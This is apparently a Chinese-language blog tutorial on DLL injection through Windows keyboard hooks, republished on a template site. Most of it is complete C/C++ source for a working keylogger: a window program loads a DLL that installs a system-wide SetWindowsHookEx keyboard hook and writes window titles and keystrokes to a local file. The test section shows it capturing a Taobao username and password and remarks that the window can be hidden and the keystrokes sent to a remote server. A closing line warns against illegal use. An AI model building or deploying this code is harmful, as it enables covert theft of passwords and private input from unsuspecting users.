DLL注入
- 在Windows中,每個(gè)進(jìn)程有自己私有的地址空間。當(dāng)我們用指針來(lái)引用內(nèi)存的時(shí)候,指針的值表示的是進(jìn)程自己的地址空間中的一個(gè)內(nèi)存地址。進(jìn)程不能創(chuàng)建一個(gè)指針來(lái)引用屬于其他進(jìn)程的內(nèi)存。因此,如果進(jìn)程有一個(gè)缺陷會(huì)覆蓋隨機(jī)地址處的內(nèi)存,那么這個(gè)缺陷不會(huì)影響到其他進(jìn)程所使用的內(nèi)存。
- 獨(dú)立的地址空間對(duì)開(kāi)發(fā)人員和用戶是非常有利的。對(duì)開(kāi)發(fā)人員來(lái)說(shuō),系統(tǒng)更有可能捕獲錯(cuò)誤的內(nèi)存讀/寫。對(duì)于用戶來(lái)說(shuō),操作系統(tǒng)變得更加健壯了,因?yàn)橐粋€(gè)應(yīng)用程序的錯(cuò)誤不會(huì)導(dǎo)致其他應(yīng)用程序或操作系統(tǒng)崩潰。
- 所謂DLL注入就是將一個(gè)DLL放進(jìn)某個(gè)進(jìn)程的地址空間里,讓它成為那個(gè)進(jìn)程的一部分。可以通過(guò)很多種方式來(lái)實(shí)現(xiàn)DLL注入。
- 使用注冊(cè)表來(lái)注入DLL
- 使用Windows掛鉤來(lái)注入DLL
- 使用遠(yuǎn)程線程來(lái)注入DLL
- 使用木馬DLL來(lái)注入
- 把DLL作為調(diào)試器來(lái)注入
- 使用CreateProcess來(lái)注入代碼
HOOK技術(shù)
- 這篇文章主要介紹下通過(guò)HOOK技術(shù)來(lái)實(shí)現(xiàn)DLL注入
windows窗口程序
-
先創(chuàng)建一個(gè)windows窗口程序
-
新建一個(gè)win32項(xiàng)目
-
新建一個(gè)源文件,寫一個(gè)windows窗口程序文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-443666.html
#include <windows.h>
typedef BOOL(*P)();
//窗口處理函數(shù)
LRESULT CALLBACK WindowProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam);
//入口函數(shù)
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPreInstance, LPSTR lpCmdLine, int nCmdShow)
{
//設(shè)計(jì)窗口類
WNDCLASS wc = { 0 };
TCHAR szAppClassName[] = TEXT("KEY_EDU");
wc.hbrBackground = CreateSolidBrush(RGB(120, 50, 40)); //背景顏色
wc.hInstance = hInstance; //應(yīng)用程序?qū)嵗浔? wc.lpfnWndProc = WindowProc; //窗口處理函數(shù)
wc.lpszClassName = szAppClassName; //窗口類型名
wc.style = CS_HREDRAW | CS_VREDRAW; //窗口風(fēng)格
//注冊(cè)窗口
RegisterClass(&wc);
//創(chuàng)建窗口
HWND hWnd = CreateWindow(
szAppClassName, //窗口類型名
TEXT("鍵盤記錄器"), //窗口標(biāo)題名
WS_OVERLAPPEDWINDOW, //窗口風(fēng)格
300, //窗口坐標(biāo)(距離左邊)
200, //窗口坐標(biāo)(距離上邊)
500, //窗口寬度
300, //窗口高度
NULL, //父窗口句柄
NULL, //菜單句柄
hInstance, //應(yīng)用程序?qū)嵗浔? NULL //附加信息
);
//顯示窗口(SW_HIDE 隱藏窗口)
ShowWindow(hWnd, SW_SHOW);
//更新窗口
UpdateWindow(hWnd);
//消息循環(huán)
MSG msg;
while (GetMessage(&msg, NULL, 0, 0))
{
//將虛擬鍵消息轉(zhuǎn)換為字符消息
TranslateMessage(&msg);
//將消息分發(fā)給窗口處理
DispatchMessage(&msg);
}
return 0;
}
LRESULT CALLBACK WindowProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
switch (uMsg)
{
case WM_CLOSE: //窗口關(guān)閉消息
DestroyWindow(hWnd); //銷毀窗口
break;
case WM_DESTROY:
PostQuitMessage(0); //退出窗口
break;
case WM_CREATE: //窗口創(chuàng)建消息
HMODULE hModule = ::LoadLibrary(TEXT("KeyHook.dll"));
if (hModule != NULL)
{
P pfun = (P)::GetProcAddress(hModule, "InstallHook");
if (pfun != NULL)
{
pfun();
}
}
break;
}
return DefWindowProc(hWnd, uMsg, wParam, lParam);
}
鉤子程序
- 創(chuàng)建一個(gè)DLL程序
- 創(chuàng)建一個(gè)頭文件和源文件
- keyHook.h
#pragma once
#include <windows.h>
HHOOK g_hook;
//安裝鉤子
extern "C" __declspec(dllexport) BOOL InstallHook();
//卸載鉤子
extern "C" __declspec(dllexport) BOOL UninstallHook();
//鉤子處理函數(shù)
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);
- keyHook.cpp
#include "keyHook.h"
#include <stdio.h>
BOOL InstallHook()
{
g_hook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, GetModuleHandle(L"KeyHook"), 0);
if (g_hook == NULL)
{
return FALSE;
}
return TRUE;
}
BOOL UninstallHook()
{
return UnhookWindowsHookEx(g_hook);
}
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
//拿到當(dāng)前操作窗口的句柄
HWND hWnd = ::GetActiveWindow(); //拿當(dāng)前活動(dòng)窗口
if (hWnd == NULL)
{
hWnd = ::GetForegroundWindow(); //拿頂層窗口
if (hWnd == NULL)
{
return CallNextHookEx(g_hook, nCode, wParam, lParam);
}
}
//拿標(biāo)題
char windowsTextBuff[256] = { 0 };
GetWindowTextA(hWnd, windowsTextBuff, 255);
//去掉不能拿的按鍵
if (nCode < 0 || nCode == HC_NOREMOVE)
{
return CallNextHookEx(g_hook, nCode, wParam, lParam); //讓鉤子往下傳
}
if (lParam & 0x40000000) //鍵盤抬起
{
return CallNextHookEx(g_hook, nCode, wParam, lParam);
}
//獲取按鍵
char keyTextBuff[256] = { 0 };
GetKeyNameTextA(lParam, keyTextBuff, 255);
//打開(kāi)文件
FILE* fp = fopen("D:\\dk.txt", "a");
if (fp == NULL)
{
return CallNextHookEx(g_hook, nCode, wParam, lParam);
}
char buff[256] = { 0 };
sprintf_s(buff, "%s:%s\n", windowsTextBuff, keyTextBuff);
fwrite(buff, 1, strlen(buff), fp);
fclose(fp);
return CallNextHookEx(g_hook, nCode, wParam, lParam);
}
- 然后把庫(kù)文件拷貝到windows窗口程序運(yùn)行目錄下
測(cè)試
- 直接運(yùn)行windows窗口程序
文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-443666.html
- 然后我們用鍵盤隨便輸入信息
- 打開(kāi)淘寶輸入賬號(hào)和密碼
- 在D:\dk.txt文件中就會(huì)記錄按鍵信息
- 當(dāng)然可以記錄你的任何輸入
- 運(yùn)行窗口只是為了方便演示,這個(gè)窗口可以隱藏。所以說(shuō)為什么不要去點(diǎn)擊亂七八糟的網(wǎng)頁(yè),如果攻擊者把程序放到釣魚(yú)網(wǎng)站,你點(diǎn)擊后,這些程序就會(huì)神不知鬼不覺(jué)的下載安裝運(yùn)行在你的電腦上,這個(gè)測(cè)試程序只是將鍵盤輸入記錄到本地文件中,攻擊者完全可以把你的輸入實(shí)時(shí)發(fā)送到遠(yuǎn)程服務(wù)器上。
- 鄭重申明,請(qǐng)不要使用HOOK技術(shù)去干違法的事情。
到了這里,關(guān)于使用windows鉤子(HOOK)實(shí)現(xiàn)DLL注入的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!